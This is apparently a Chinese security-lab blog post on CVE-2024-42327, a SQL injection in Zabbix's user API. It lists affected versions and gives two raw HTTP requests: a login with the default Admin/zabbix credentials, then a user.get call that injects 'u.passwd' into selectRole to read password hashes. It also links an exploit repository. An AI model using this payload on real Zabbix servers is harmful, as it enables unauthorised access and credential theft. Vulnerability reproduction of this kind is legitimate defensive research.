Zabbix是Zabbix公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。
Zabbix 6.0.0至6.0.31版本、6.4.0至6.4.16版本和7.0.0版本存在SQL注入漏洞,该漏洞源于CUser类的addRelatedObjects函数中存在SQL注入漏洞,允许攻击者操纵数据库查询。
6.0.0 <= Zabbix <= 6.0.31
6.4.0 <= Zabbix <= 6.4.16
Zabbix 7.0.0
1.访问漏洞环境
POC
默认账户密码登陆
POST /api_jsonrpc.php HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json-rpc
Content-Length: 106
Connection: close
Referer: http://IP/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}
测试,若成功登录后请用poc测试
POST /api_jsonrpc.php HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json-rpc
Content-Length: 167
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "6146ec7544c34e008486df010f1a2b6c", "id": 1}
测试脚本
https://support.zabbix.com/browse/ZBX-25623
https://asciinema.org/a/pTSjmgDdSRsre9KtWhaSP2EIk
https://github.com/depers-rus/CVE-2024-42327
起因是这样的你吩咐我照办
原文始发于微信公众号(弥天安全实验室):【失败复现】Zabbix SQL注入漏洞(CVE-2024-42327)
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